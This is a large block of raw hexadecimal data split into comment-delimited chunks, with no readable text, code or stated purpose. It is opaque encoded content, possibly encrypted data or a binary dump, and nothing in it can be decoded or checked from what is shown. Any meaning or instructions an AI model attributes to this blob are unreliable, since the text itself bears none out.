b502bfbc8543171c95b9e1768352f10f6328d79bf81daf78fc2e2181b4c906015dd6eee5db004c3c558089adfb2b4f551d2d575e12a3f2902cb08c13d51ab42fe1f5b7da44d5979b5342a3860960d3dd9d88f54dc2394f5cd11c05a61eab0b8239b6ac85c556f728d19117f5b878e34c148a0406208bf372e345bb84e0633c3b7368deb8841995289f982b4b3f2679f465062155ba046c3d498364feec7bcb899c2be3c3ff32bb39328ad9f53b06ec9a74da65294cabd17b0c377aa48abee869e06a23b5e7c44b87acf28b894bb04dc5e398c6eba9d96ebf3544e5505b6a82444ede3adf02c089f364dee70017f86476f6647af3a43c797ba5ba5add9f852efa2bbf017c84b8909931cc909f5998f6aba882e2e57e76b90e194d720a7028ca96ed46fb1f16a706cb87d70c7dc87bce992af5234dcc3abba939c1ffcd9f379001079b7853c87b12ccd2d925821259070baf28db74bde30225a69eab9f9746465e86fc88421fa982bc264632a2397fe6c7751c29cfdca6753136a2d859ff75feb0a1fae7d3620443c366cd5412e0ed843be7641629eed5863fdb8f2dcc7c3e6d2eda57e96fe44390473dfbf0ef3637a4db451433c6d89f14417282d785f1d7bcdb388afde0d55eb22a6df5cb9c9d1afeb1515aaba9a13edffbbb27f239ea9569635858030261241c1928a34f053526c53651c5c53bf824ed6ce07690a2b80f476a6f521ad122bb3f8b5e9742a77eb156a5d7e4124a803db7dd5fc22ddfa1d29f32e2986053ba40df9ae7a5426cea4cb7b81399bd6f3e35d13b0e14b5*/
/*e04834777e8024eeb27fea5f9ba3f0c829a3f53abab1a33f1de55c35f5dcf72432b560181b7efa9ccbc5a1412015946dd656eddd6e516b70df9e079bea63f23d4ceffa4c80d186cb863db01599893a8a071d24a269113f74933930792d2e2dee09028b1b4d3ffcf96800296474672315c5cc6444a8377d7d9610939d9917a32665c55e2a7fa18802697e5e4d1a264f11a1da98935269948c2dd75c14a3e2e6371ebac054b636f60f20bc80fff2eca1fab997b477f113951119c69d32210368e6ebf26992b1c59b04d2c6744dd616e21b7061fc0c1ae7d8bca9e089ad08b52e9b1bf02bea4a3240866a08d7976c8a386db9396cb127e33765b5b0c464c4adb4995e5e7279541872b231464a2cc7d97aa75836c15fefd916c6ace6e18c12f422d69238184b8f61a1c9e1af53adde04bb4185c325018f980d17969da12ed88ec9bd3f5e6cbef2c9b5ef5d59c75d497f80b54cff14d6718dfe62e4c0786a599e7cc23910f3820709529c6df4da5267042309643dd4041eccbac25edff9e0f7b54be9ce8b4d5ae64de4ae7dfabbf19fa476c636bd740c7646c17b637592e32731c672745afb6fff87800c8a73c3d187095f8e8e243e7a135aa6b62e4317540dbaf77a1527923487642b51d47f09852933e0d175d6bebe7b4976febb893c158c7049a287b6f12d1698a831d671d995909ea1032962d6cc86a00538cabc65d6a7b961955a1e13bb5608ac453182761c280d5950ca1e9e7f5e8acd479d13bcff380b1088a570813312f6cd9eeb3ada4e3590b7017492e5ebcd907fc301ec23a8e2b419ae67e7ed288587fa70ddba48a42974d0d68a8671766c156623e4705e2a14a4c7c1bec93d5cfc61f88b10fbe2f9fe1769dbb71746c2402e2154e4d2e0905824a382aaea280406cd747d70573d6007a285b5395b4e19f9baac3196be36ffdd90eecf46168358c8ea508ddff017493e0d1b37d8154aac1fbe9865993bc629bc4a9db590ed515017220aa404a5f4233c062618d094954c93eae4dd0c226257b3187389cdd040c7c861bba580856c9f583f78addd4d43cfbc2d6d70dd401f29b59979429c4a3d2bd49064d0f870fdd854bbfd794cd60436e30097c32833223ea260ae5a0f6189298bd68109d38ea5916e8b59851de4793b0f8fb9b0dab7dbf532172b149981201557bb3a79ea0585c8dad5a1952f826950af457519138378113e5943abb3e203c6661788e25a37767e006415a4178c83aca3ffb11c108744a892449ab2a3b9bd1652b708c43f215f04ce8dd4f280047055edf254164b9d57072b7fd484ca34aa39c045886198cbc8dc6a787d3183d3150690f253f092374b00b01797a1388d809d9e64ad7ac9654971ebd2957211c0e812a011087fc6c49d4bfb5c0899890d3dddee4a9620b78b5b2b0bcd19fde0563367a4f2d8f699bf4525174675b2ce6ffc6e88be62d496733458ba1dddd806df57cdb9f51773e2f1e9d21bececb3ccbffc8469fac792e69b6b9e1a553c4c65f423389d74a5ed24e60071e0db27a696cc031572c147b43c42026f33488337ceb49c11aa3b7e2091a39967e35e124dc441a92733b8a28ba10e1177226ed9847c0a416cbea7a4256b82398dabb0ee1fc3a9038e93a8a2c59af3a2a0baae9ebc6d0306ebd9b39e195848d0fd53fd8a2c1138a578822d6f2e1ed245e59081609efcde205ac1812376e7a60102213f57b287ada88cb3cdd1134da792bdea5348ed10b9fc902fd0e98d50b045a972845bf3f8fc0ba3d14c35df808a1cf69fda59869cdabfb6080e82c31da174cf5af0d054b688bee0348da18a5ce041c865476c5f6d22d03f5008832dec442f0feef05d32355fcb5cf793000c36788a50e76abe35e1ebf05e11c51cd52a2db0ad7196c5c309e661895b0875b0ca5dbc3624dd32f3455959c00f04a1933e9f8368134349dfba615debb383c246dc75bded9fc1030cb3b54f14728a59f0df9bc26014e7fb6da90a984a5ed05df5a6b7f9c596d3a3a2afd7e9e66eb94253c2f1e5e088529eb7cda0b5f077de0b7a33a6bc4555f0dce03da76a8437622bf8ea40778bb3cfadafb730c53181c43d23efc4477a1f597de7567542cf3619d95dfab7b670c4a94193e825f23d72511cf071798237e0f0be7826c0b3f699669ac3a1d9f633af4628d5b8b21155608160b67659608f26a4fc7da715fe08e8709a236db4934cc0330d74405b8a63e3323dbcaeae70e28f306a7a1e8138f15547c1d396405089124dd7c2281c540f20e0daafd35993153b362b26cf83cf641bfec7b721cceb40c1db80b76247459f024856b30d6538f9a5150fa9db014fa4f825fbaaf990276bd305df939907c6eb6ef63c2239a65d814df8aa74233f8af913fc50914bc89cfbe60b1c8edf2f0d4eba25f9d2dee09ddc4cac4302e61292d5ddb6a9226c68574730657bf055abb54d4d90294f4c286d6899992000f9e9f35622a80dee034975f86362dc9b78ffabab068e37bc7811617ab5eed45b9d94578202acd70707670c3c159b60405d7f3012bd3eba65cf080449127e297e7c33bf31c4fdda5d1c0959053c3c08c79e76575142fcd46836df0d70d64bb7c2cbdf64614c898c350b73bde71d3eb3e7824ac91afb7be840bdc3d6002bc2a2917265917b512554c9fc8c7d40d8c50308c0cf226e6835cf0a70a53a89c64bc302827066f37aee7bc6092d1d5895fd3ba93b4f32786c999682d366933123de8d99151ec7fb5af291edd67b7dc7746fb77d7e48ed958b4cae4bc64238c0e01b30321534110d5775c001919bf91df516605872056680f4240b9f22cd20b2d97866c8*/
/*aba4782dec7d13628fb3590fb31406f10d127d1368e05d8fd99148c71cbec8c46f2baba3f5d5f6eff152e756352182b0b8c0a669b59f3a0921864d11c526a57601c7b2332aae7f8110702ad2a5d48ab7635a7f8826a18d1f0c548e2fb0ab4a51215063e8e88c930c5b87bc2d0432e6c638d8f4ff3c909d9a7699a4ccede2786077adc393998f78d7becc9cffcb07a8a4229d0b4ca1bb63ad0a09e6d61f0512712b4d874b58d938f22025157f67f3be7cdc6fa481bc65b36e5463ad371ccd6cf88bc42a98a61e5fd396a325d2d9ea37321e9511d5ebaa5e1ac0d912455f8df667f85d7102d25969b92cc2272a193885db206cf16d32a5032a943768ecb846d8ac65984ec9b3bd8100bb6846e44d59ce35e201fafcdc0020f9fad0a8477cf8db936f487fb032c6a935a5a7cc626ec1cca6c6d4b88369b52e90660524b81243c5426d1781c00e43244b5c4c6bb91a6bfae9613d745212b60f1ceb1cd8a29da97444916f85f431edc57e2370f58c62b417406f5e156880f0d07156a78c740ca5df2353ce027c10a1426f66cfe017310b6bf6da7a396b3331f6b559819014ebfbc03e3d61e8725855aa6d008e187d7b9b943032d7d92d41de0ccb086fe0b0653ee0a7e98b9310590250ed535e7e698bfdfdae6a3404e58c99da9b8429b83021450d7eff09131267f3b5c26798bdf3b4665e8082bef218d3cc6e6d0df068a08b5dc34b93d4dd7161137655aac94c9599e512c605ad0aa361ef2cd5175bda6eed61c7062ef59e813a24715b1e9708b440d80dacbf2be5e94d261dbf070bf18ec36b821c5ea56095849a650b9541b203f7f18df30f573dcd07918b1f2300810852585262a7f1d00832ec61e0764a5611c08db7181de6741ea968d2a30c654b8cb9109039020b4feeee90218677426764efdf5e0f2d4b8c6b3e5c7545781efe13daaab0071f124bcc2ebe0521ef83e16f93772357f7cf72149c6fb00769c7f4c3dbcd80470c8992eaff758b3fd9d8d6014d8d7d9573237ddf92e50ed830d88171621dd3b96593bfb62d49016062538ff3136e29d9ce1467205bfd0ec84893b9829ed5d81e762f28f3172518a7877c6512922e5e8ffe9e4666720651feab4e7fccafdf41f7d8c06f0c64070644cf8e9a209be74e1f3a507811a1536f13cb2d4cb2345136e7680c8047aa1c65812b6dfb51e611047d6bb877cdf381f554b1b956b3f8bf3acaf186a3324aa19f7e8af4b89dbe2d062ff4588c2381f9e696c5ff7964a1f427cfe6b1be1d892c5ee4605e6b04271bc185f0b75acd0ee386d3ce53a793644f23e9859fb658ed6ece354846b122247ef39b5f9923196596e8cb9beb60ccaf09332803146abeb03020ac5a900a19467481771bfc93154ce4725ac34f9d2f1009eec71bf3e591066897b813ace54631e7e8cca549ace8f96f0813c69896e0d8d04c57fd3820f35e961176d668de88a5c06f326676bfa343934980531a5116314698e681160c169a71d661c71b2fd732c32d9c40ce9345ca90076525d524667bfd186c59e9751356cd8c9e93c9886899fec37cc394ace60a2cdd8537fd09b0e4606583ed34cd961d3676b4c737cf73493743567d2d673820c44eb8bd77302d982f0f97c7dbd7ac3ce9c5e1b4aefa9d544584f32cd2c041af51e7bd7dca8cf34136346c438411d1570caf6134a44a732cbb95fbcb9d0b49d86c60dd418db675f5f26644e1d8d46d76d010e478233b0e6d0d36409c059b9a744dac388e0e37a5edf97e20735b91f5ae66c166bde4de2d33f4afc261a71c06cf2cb2953588f95333e26cfa2de719148b21c5d1eab679c64597df7eda0b7a952026464199800d046cc6444656e93d4b9acee0961da81d6e05ca347d6104fb7c7ee1f6ade774a5340414fca3e1f281a416b07247d89557e2490cf351f939cd53cb3855d2f92b6388cc10726876aa46c0d1d069e80b1ce3842dc959c29ec702b24d1d8499b04822b90e531450e4070e495c2b7c0e08ca1011aa268c7c1f14f5ff5f86f84debbb69f000417eab7c275e4b2e549b2f371aae82b7de339630ea603fc1fef52e041d6d46114f8aa872adaac52590dd13c2ea04d453b6cbcc0b31a1cc1814aa5dae6d898eeb1827b29137b52168aade692486b5bf9ac3675ff1858018049b870f0ba95bd09e0351dae910aef7c3fb21b88064e42ae376d1233dfd7a49a8d3fb5aea4e6536e5817c2e2f91d09ae1e72b6f68772602620f3d28a5ad96ce3d1e5e14790e6d868d0443e7a9ed585200bfdc2885ea802cc36275c83d18e9448a84fa174cbacf039e1f487b71d379df1686ba41057df2ecda4261387677d36f2d8c87908ec4750fbc8074cb131a12925fce207e52145cd9751ee63be7ec55e065bbb80a339fdc51df47db1dae62427b1296fe24da5e3805e5ee11f31b388bbb5dc0cd43f3e37d440209d29902b73c502fb508c5c3c7709cac6b0563ba18de21231c322980abd2efa822cacc5f15869ff24ad5f7cc5e54a4244fea415279eb7a75b8d6b82c20668f74051e5b548ce2cc0004deb6e821b00b531a5fea745c7b0704286472b9df574ae64781574d3f98892c02ce5106860a77bba7700245d630f78c9ed81450867b2c674170efdcd175d7b60304421c7dc0dbf33e3066cb8ca2968cdf7c0ead3cfadb4ece230cfd6f9cc7e0cb992280767c0c0748c9c7ff751a66cdca48db48097ee00df10f24e9862a357b83d66757299b0ceb787bc611c5a2e66c201c712d8098cf7b23a2545e2325b6a33e68158feb0ad43b7106edcef461b98d878804547905b00cc40474869caf794078c284a7e9b54e3a727796*/
/*41d85d55ea63ca141f5aae38c3bfa700d530aefdc039176fd6549ba94e9202292f4548e89bb74f7617c830513ef3a48801ffe917fdc5081527385096d08d8ed2cd3b988ec53003080cf2fe13c81cdf7719e33918b1c3fd254e9e2c7ab6a9baa4e2b690a2eee7699a76c2bd1b1b56c716940c7944bd3460b36dfce8dc84c772570e26e8334ca81304cd1b41be27789e7fd2568cfea2e5908a79fbd6e1690803a95b69d2b3127e360b872e4d712024091a6485b097a58f69632adc30c8d0da0087031735cefd98692e8cc8244b405f61f41bb03d6028ff0adfc1b4d25708ead8a9de2085992579f4f220ccefebe9e9f3c4950062a17ef487153cd5b754419af90220c3c28538f172f43b684cd37f2fa9c5e16aacfc392351e3d650bf52f35d7563ab5114273ba1569916f627af64733d7d014a8cf6c189184c32ebccd9b8dd7dc76fa0416c6549727cf5571b250973ff0b00deb071856b749c30834a7948bc616c3748a4085db1d3a0c82c42cad453bbdf7057857aebfd803a8e1805f446b81e16bff17eadc50c88abef558402d015aecb6942f2559c3d65dc6112d499244a476da1ad1b8ab6886823666180626cc4cd4e7c443e4989f8bb8b035e2b61a99ea3acedb5155e3182ecf575c4ddb4e18a5bcdf590cca6483885c26dd69e91d31dd312569a61d6c4b785bb2bc8b0bebc96e76437eae4df89d23d0d8486e0e1588b244b7488a6b6798dd90360696d0c7fd09488f9ea5a14b8d6e3128a4a7c628f131f8a6cd8aba63f062d415c5ad34c17051f17ed1e8c338b060049291563760c0fdfbfd8dafb54b1c8a56622957a49d1e8923582cc59bbc6e6798990a5cf2b75a1678b449547c6b07027e62a3cce49a8eff7d556af4ebeffdb82a31dcece1d32fbe05c80f2b290de9a26e34379be2bd61a6d19f386684a2fd07f5d7982c97ee4f112306b0687ce0a425f59f51609be2d4ad9f95ee55e227cc7175aa6632ffe36c58dc205547109ed86938bc3067d5fcd44409f4101533ba94504cedbabb04e2e3e997d5405a03eea9e51e2b85eb814d329c984980785375f69f5c2b0dc7baa94aa309b9e50f6e97fd396b1202c15043a6e627663db4af21bd35941123afbad26c33c601df34bb7dde5030888cece61dc2404549115b785023d2f1037e56b679978e86be0251dfbb8ed75fb1fd74191276d04bde2d60c2f7fe63e9bbdd47018447e60e535b53900990cfc92105eb91cf1e1578c619be133ecf1f3ecaa0455a7c4a7fd29596d0b2fd0ff1c48c24d8f99234f7cfec9a6b506fba86a09453d06eb49570177067a62b61376bbbae32e1212abc636a9e15a450d20b9ea68e0de2ad6a32eee0f9792c686524938f1b0be1daaeff1a41b02df0f032f20e848777ea707e42d86a706f031c4c584b7c36d2f3988c9ec00d35a6ff0a8e5b7b64caf1336d90e49f7f72b96d68985f98b79bc693b597408911412d31bc206a655527a90d604350f8280ad120f87f2cd2d967f48a97805d85afa75e8342b3325de862585fc7e7a8a1c9ef54f26ec8ffe4dee86024eb449cf302a3a241f8084504e6f67e7a64a873750eaff91808ea7b6df665ad24969e293134ad9279b4b88d1bf17adf462f02e3dd590960b038c2a24aa3167b749685d803855c829e9c30cefe9529dc129555f989768115a4e1dbd6e4b04704df05e31984381de0a7dd900c35211b797b58428124ec760c80993668151c9fa2426ce14306ce184186abad71c5a9cc2581e956b8e523dda97a2a2b6136aad50b83eacdab5fb34235bb2c6639c45f1ab2cbe5c91df5db3cf39fe0958bf5ebf6d2f5a6ed4556650ac18ece1e1e83d82e3b45cf43d3feed3d16d91d864c0d5a6c0aea1e2667a984c468b05da1cb2e19c66ef7d5d9d87cbeaedf1a367a7b81aba35369417a45418577509d64b115df82cbab384c7e3e997f63fe3a087f684e7201e80d5e741657467f1573cfd8d0bfe46975e62cd09121a0c38bc6241cdab53573fde4aeffc8c9e3c6e37de5c5d4008d6f13c5c3f1ef03dfd16ac256e7b2af175d66d551e3e9a89762dd8cb45b1a00347141c763fd4cf3590a55b806b1be4067896d58ea22aa2c6d07b2c29f44f7b20783a6b33fcfd718e82ec2719e9e918d1f4f235daa36cde8cdea9d4cb9d48ea0cf913a2b5e3c3d4eaffbe369bc5dce4b03841906bf4b35c11b9da5bafedd9d79f9e2cd0bf0459e9a0937256ef76ba44bf0bc2eed9b1af1961ad6b8939eae8f2e078c86c8e20e9eaaf08cc764bf4a0489f579cccc796da13cf26c25ceea3370f18beb15dee86a247adff5ad872e523971a9ddab9855165ffee7eff359774135a274223b3fe6cda1274fe2f61cd539f5d7d0ddb368f7743e7852986777d3dc806d403826d9fa6763f5ece1595e037242d18c1f77b7381d8be847b131157a5251b6c698dda710a6475fd72083b71b877bc5a58542eed3a738e9a9664fed9b646c7fd63f4f9b5b8286457ef431e893387b8dc8b09969006f0bdf36a9268e459be2433ad8061664ddc5a3549da74c0311a706db92c4ce9fbc72ae26ebd49eeccb3241d855adf389d049cb6a6f436ccaac1129b78c546dc4d716059d961808292724a9dafd325fade3e3630049ebee7e5f737386189cfb537485502f3286f5d6d3b67f5f07838e7e1e8d666425f47a6a4b63da2735fae44e3ef4f612b821b19685fa191835d2603b84e9680dccfff305d0941734f448a8f00c21cdb0778bd30142dc24aed88e6a2a5a196bd4002c67f79ede36598c16a4ca0e71d9eb603d611706114148a6ac2a83b3740ec505f9cca04c379696b7765d56d2f3ce887*/
/*a9840ebb9f5ad3f7950cde6ee18ac47e22703387b640c061a9c8ca56d99948d4be37bf7cb762084d1239e0ccb26dffe4b72adb86fb58689bb01254f3a7efd7ea6dbeff2716e399e944cd6e1273da21df98b51ef3cd038fa4313b2639d0a61b243c85940940fc9416eadf5ef346cc9bf582e4e00846b3b5652d750940d58c02b667875f9c7440be41996de1d9534d292403e8e3242f0cccd4da14e5d477c31438dce0c46b9948cd45f3f78b40f18ea1385a5a4a0c68b6cf4ef59a236e4d9ead4f020c7170c231cb038b381b7b77044d9a021c8481f8cefe916f2e767ca0605eaf51efb59410c1751a051a675a21c2d30b69d875a2153ec41c2a2942eea41d91e198be7fdecbc408aa571d6199b6ba2e2457bc6d0096ddaaf51435eba5224a062bba715c6c73278546a988cc3eb6e73f966da9a3c605c1d65d10f9d40ecf58ce9b9672e627b46bb86f1be76ae27e703f0150752734bb25b04873d402c7598466b2b2718f37da372ff49b9d8bc7fe906b32a1de7c2c0f626cd044968e08226774ae649efbc6a870f0c01f7d85cec9defc41a069faf847b73e50ee1388e6d5eaa24bfcf29d9bfccb0f46462ff3e7872aedda81b64395fddd33136a3a109ec92d0f2290b0446edd44b8ecd4b88a6a0b9eb15b1203c27d9a35ee01410989801f0dd3b02f730ae99dcd68485aac7d8b773060b971b724790919143b97bb27e3abee008ce9c0cc0f992b0d93f2e7abb0f175d8232ebf8523e5e4041b4ca0ad45d0127d4786b038249c84adb650987603d704d08408d066c9dfd3ea49ec1299310cf59d8e605b9add30728d38a76c8139749f377f12dfd1cfa88f3e82fb1a5a15dedc23877b4a8924e44b47870592e2cfbf9feb5e9ddbad89250f0f3d9bee6079cf60c84fa017652139d8b0a843b628a6245ab2d5887bf33194326dd8aa29a67af533a49ced2a65b26fac4655e9e7ec61dedd8250a232ec67ccde380b97913783ce5a2593cb7d5e133b6154a93b5ffb406375bd2a8d2800dd8b26ec0dccd01961f23208a8a1d7f0d3056115440c426e17070c87108d8300dccd722e2fa8789537692a34ff24403850deda1b580d7fd3dd1c62cf738b00514b055ee8c5bc97afdf12aada8097fb73068b142365c98cb74ba21be0618235cee1bfaea958b7a654f067a57623fc82192cb6b3dd58a4135e06c0b8a09cc287a885f92ca954e3e0e55f37dbcb0c36a3dbecba2e76085efb04ed13f73bb6037998aef4edfd2ccae7ae2355a8b00e040d9faad16dd9ca75d544fd2cbb22ec5f8ec9e5a19b5c5a51bb5934d942bfd0794cb5c19f010717634c164fb05b081b72ccd04889fe900412479b5837940111a49d459b52778ec736a4e1b96e8066e4ae9f338efbfd40d546ce97f644acbbcccc4dc09b7ef1a07005479a36f2fd8da2a7cb46c4e081983c7f6e9df7de4cd47fa05156c59fe93d3b86b19636118394b3681211ef15436dd0aa06183235457a1d53c79df149d1d8367dfc2878cdde0faecf4b1612da1f55110004b3b3831f0b95266de804a6e0e7fd0f2fa6a6c82ed69a5bee6321965b1979becfaa926e4e396edbf1bb44c757408ba68feb2dc1d61e17e450919567d251f716057a522a0e9b84860a539292a92d8ddc81f7331a0633c9b76c268350d86ec8bc87e860918bef375173760bc56f91e03e882c3b35b779deb26076d918fa7efd3bd3e554c0262472bd0be83a3ae0f7d6e86af3ab499bbc6cffef8f1a2e9c1403c78acbd77b0b9f08262ba4dc1df6e5fb6e50c44ea15f9eecb2ceb874423cf7d25115f967486e2e2036589da7720c3cf43b5e2a6cc1383db661dbe821f9219a2a59ca87b8f2bc13fe047cfab5580be26eb2d8353f22e04450637ed7748247effe3dbce072465ca11e846d9e3353e74cc151594c1197154aac237da9596598bd05e064b0ea064f5d533e40ed9840948c6094972faab63469e31272d9817fbc337384df75682a2bb04bc29aa8591ac10b6b3663efdf1cec3c498225d8cc8eca49e60390cc086093100fe5075fc1b8b8b7c0e22d65ef3cde89e257ac0abb227f12c64e61d3b54986629cfb0f42ded77f3353b03251eb770c7585ea4a207b8634218ff3637a2f70bff0305db6527c0f6cf5ee563b7ed928655bb21afce9f1559ed7efe133c55202060fbf1456da4b63a8e0fba0a84eedabc26719a33fcd3894fc03a9bfcc7aeea9a96af97652939996891869fd62636c86a0846091009bba3aba4602ab487684fabdbd055f628c6ecb6e7f3a8fb9189491287ee98c93d4bda1b0dc185b2f346918bfe807e109d83ee09b7a6459d8cda929173a254959a9a4708929e38ecc10de948ad076880e58ed86b483535d6d0c9613ff2f2228e9c5d77438f0e93de725610a87f0d72b652412d01580d1ba2dceb9dadc74650fc47b1b4e9c9d624bbbfcba6c1143c6c3162fa5fb8633a13116ccdee541eb979b77fc48b98b1951a29eeaaead8c7cc96ddbc0603458fe0837d721a88de674fa4d86bc03d20b01adf40aa0044591fdd209233feea40b852fd6ce36d8e9ee9c4141c6d45aea7edcfe6e006c032b414ebf7bae0eac62b3f218fa3f0abb3db70018860446bfd466f8c1f3fd56416e7329942955169b90e23f83694e9d4c5f36e21d856a83ede73251198c445812b2010c29411ecf6c33ac204f0d9369f022959d1afdc9c917a22bf5402e7eef8f41a599ff8df0a8125523155af106b9a012fb08005207dd17c96e7bbd6d57c0ac9f63bbd0a7517094ff310c83997d85567da9956452e2a44ee7b94aab162fa4c78854025517dede0e1be91d2847c22174dfcd32c0*/
/*4d70394711e9a04132a1d386256a2b72bc94e313cde3daf92c2e93b009215efec7b269833220f56168c2a4d71cdb3b59b05376acbd859aa6c9ecd88ae8f618d7d2ec595a127a5b87c2a02b8dfce693b3122100059ae6c84c669ad5cf72cad2fb0a1a06abf0741277c89bf56777e7002d4f08d0ceeed07d6a56f2d255f8c6f473945360262b224e27e27d9a8bb2b64fe2a640dc5bdf13b91d4a8ad593fcf1f8b8c5e74287047f4523fe3a5c21ce28c1eb8918edeca338fe91d165a9d82a033518dc161e5ec955bf7a1f28249f160d52c9e8ea7c3433abb85641a0908afc45dbc556b885ebaa68521e0aa98852d79bad3e8cbbc3032eb1a53817f3a383ea8e8b36a15c9814e41a0dd8a9b62803c0e1b8e3bce56cdb97c7002c840c844687903bee57cfc6d2dee727b3c6280d3bc64d9787363c8f643e4780111e184ea0fa6f4d0f803fdc67a05ec7e28bc97b00254c46ba5b5a2686413e9b28d35c53dc8000c34c2208af1a0111dd55be5bac5736c9837df9c4af223e319723fc9687b03adcd90e4c6af7f5176859a905372919bd64eb71d9a5fbfcfe8886e3645cdcbcc16f13a50a9de33a03441ce352b0a846a4322cee79ebd8b0f0629da645d94c88ad9265c9e6be852468b4b22ee26ce35be764ed3fdac06fa4a018ca2cbbe6e5de6cb09da4320974a89773e023ebf6d661c087b87ca86def1a79a3402d3a3ef6e4da18e32731739856a97d168efe78b0bba9ff8befe9e247370539f9398a51f9ef498db21cb0eb65ae68f47626070971f73f6fb4fc88674e147e2711e3ea854a53390a3dadbf88d4a3c00021c76446c37665f916fa65bc049664a1e76e20c20d62237fe3a71ffb7bd44c8c37e06a19fa49b3e3ce059d1f38a1206c1b20ebce1c52c1d78b9816ee4f93b797319ea67ee2cd6ec731b28adadecd2fad9054c1bbbbbded081e8fe8cfc7484c79a925933385b0018769272d610d033e52c23261c8b577619411226e235c249a98a4e524697da4ab08e194683749f255747f4e6701b6cf133cd06bcf7e35a31cf8932807d0e043d58a01f9cebe488d470fd95479da60a5b81c68db0ba0e4a8eba4bfacfab7ac13d39484363711f4c751a193e370128f96a4c36a707e7b6e6e70efa950c28dadb4ecd8cfc4b7a6c89e336ab24e01d76f14f07b8325e4447595540891edad7eff6a680fa5635bad93c68aafcec0ac8b46bdbb2edd713b02a062a7177f0dc02f31e62ba9b04e6db5d34adad049492f5d7dab8266f8dc6e8718b1d1215ce645cc1fa5e83070c76bb68de3d56c56f27eda8af08a04e86290ec5cf03bfaf8d175d86c64146ab52ac224335d5a1f9bd4064ece5ea2fb4aa5e462a935c8d37cc4300dee290976961829464e58cc29461a397933d0a88dd7830dd791820720bc049d5111ac3f2dfb6ff0cc64e925ca12a06d5d7c53a5c08c304e74dd7baf195b0c37b5843e22f9d79b98ca16dda24417f3d386022a0e0db6fd96ddcf3fe5b729cb7a0ff491e1dd46ecff166d7714644f60ab214f89b74255275f8c0079a71d4232cd2503268f94ebf1e0c2eafd7828146c8bdfd9a23ac277ad067bb2d1804ac8d62a9f227019f2ec63f7e0ed27586007b0827980a52136b682d7b9f7d9e052351a6068892850514cada6c968e5244bbe81c3e03fdf3be8f2c2bb330141f1bc3907d70529c7d31d2a4f49fee77e33da11176db3e4053daba83c016d8890f18eacdad5c8578be58ba13b1ed5a96503592269f40c06aa1c6ebec64de5b11bfb77f3d9aa6e679367403c8de864838b561e8f66f7d80cf067192a2ed798071f39130220f19a8781a0412ed2f321e6583cbdd050a9bb2d3f31c29223bf08c659d9faec457f1d79fbf670e89eea60d1916a2f955735b82a2561728222b46e0300cea525316ad14c2006a22f5338975b475ec28d4e6ea7942d74120480071705e470945cce624b3a5d310c04ca4f41b202b03ade8aedb2704c695dd897aff17d02bcbdd07726793c2feeab30e7d20311a3498cde83301f258b53b8b1f59bc59e16409451f0f16a124e70e0262fc87651249b76196cd63933c119b768a005c59cfacc64cd9c185ef9cb0b1d7e5b4d3ae6db5319841a06472dc470fb27cc152ecad5cebd35775ed3d7b08bda8c7a6c9100738e51ea44874fdf7638a14036f6ec788140f09264ebc3d08c9c6bd07eefd26fdebedb9fb1af8ce392c7f71d198cd72a552b5b047214d8325e48cbca6a469f3985316c5b674670629c1a23beeaad8f006ef467d1f09c9256d903f8c0f65520a7aa877bc900090dbff6ebed7e2a2efabb71349d9f06e85d21b521ecbd488e64c28a77c38d6870c51138543455d6ccf119ae0caacd5ba9af043ed89d24886acf546fe797b7166a19a2024c2e44d18aa3d9c26d9feac2bf8e4e53e9902ab0e38a4f82ecfead4c5d971ec7277c076b5d93d670e7f7885851664459e63e34c2155ecf2656ec344c28d19d287980615d0c3aa508676226b2afb53c52de3f2b162a656374cc96a2340327a9865f13775b3bd3b6a881e8b610b1590617c6eb99bf1264610496357236c1a4767b13f254ccd68574479766c6cc830d644f2fcfd40f6751021e3f7573ead3130962870a4f2d709b02a4cb791f18151fa63bb1252810b96835dcc43e6588459372c5ee597cf31f58b515fd1d6781d65d3d7b462855c04974aac530165c1210fcde3964a01b51fd9f4ce61662cf8ece406cbc71b3814acda8db20144161481f9004d1401ef9ae3d8848d4ab699f6e59ccc1c6831ae5dce93b1f5e348ba705a3862166b404e3675582cd899604439072269b671096ff34*/
/*e2aba3ed36d72ef00cb9e340d00cfd540aad1299a6672a5ee80975a196598bc92eab795542d9fe65bd623bdfc613158b9a502650fb195c345301efdc083b6331c503bb2e74daf07bae2247bb277fe86adba68c5d6c6566b1136fb50229192a0237b47bf1a2875b7b7288b9ba3275f06b316a25580c18e4f6fb35ce56a393a29a64bfec51a70466e7fae536445eb4c09907b66fe43dab7de6402aea5ea0d93e87c5eca071294137e1bea33bb38eaf509c7e69b54395af97376070e13b985d48b7a466aafc622810aae14b17e5cff46c362ae776502cfc623614a110793e4c8bb2001f6afef148521efdce5f52cad64e94a27b5a427fa9b973cd3881ad7fcff844189c4fc9f255f79182dd7b72a5a540fe6d414ca9c6bf1fb44b48ae8ae94bf0891b57a5d0f58513beae115a90eb9fe6393d878614233e6804c801f5889180d803498f6a906e91d6597f769996e4a0b2b71369a9e3de57757a73c705a05cda88e653892e6fa082e832db02d49d146493c797b0c773af049e27149f2fd60164be216c512ccbb13504830f83c5ee1d211223ea52f39a614ab1a160216cca2278f22f5d1efc9c9779ef815c6d92b1c264d35d3e3578469e507b4fb03abcfd9fd32455779e0785f660679b3e02482776a3881db259db423d00e131717c20b71b9a47d1b0f01d640f30dbaefa4ba75b66f3aba4978acd561025140548b77f6a234a96abc04bebab46c25fe1c8cdad397ec0646ca55c70450a0ba764b53a3ec17693b5abfb19fb7c001096c1152737ca00e7ed1ec2dbdd5d0ea8cd4fe9422397d5190e392ac7280b056fd4f3a299a284f8446b87cb19dece222bf7e0a0d487589439b0c125c696c8b8b0f129c53c57ce3cc0852f0474128fc3bf1d8f0d10bb6c39baaafe453d981a97ba9dde58e776f5f2d82f085b42497de503da99fc8319991d70096d681bbbf7e7f0935c23832bea4750c369df363e4820ee3e372a2d7432e9990d4c14f962d9ab6cac71eeed2ee17b01b6ea861ff7f625ce00f7b7140392c08ad620164adf6cbf985088b75db90f8ff609cd07fa3b34982a0049287642c63828591415a1def0a4caeaeea1b87f165d6ffa6ad3deb68883bd0f717073d3e9a0367febac385e19ec716757e88d49a1e924aac5c85fd581b9367f56149ac0ad2fc43a3e4ee194451ee7ba88af9a83558e205f9fe855b7adeedc708dee2994db24101c9cb1984d2247f72ee22467853481438c2af9a6e45c1480a8f2a099d5947ba540b2efa414e9224c968b97ae923bd0367cf685104017249fd74b22073f876ea6c341775eec4b39f545cc4ee8f32e3fe3c0ba1cc56be6622d0702f29835692cb84b4bd795f6e988863d305a3dbafbe321c954d5617d69367cf2909ec03af47cfed0c4dcb2fb04ca189ba0e7e68d1015d4f0831dc42b5528ded146367e606d1ffd8580a2135189228649c35a8ce6d28beeccc79c0734be0961f0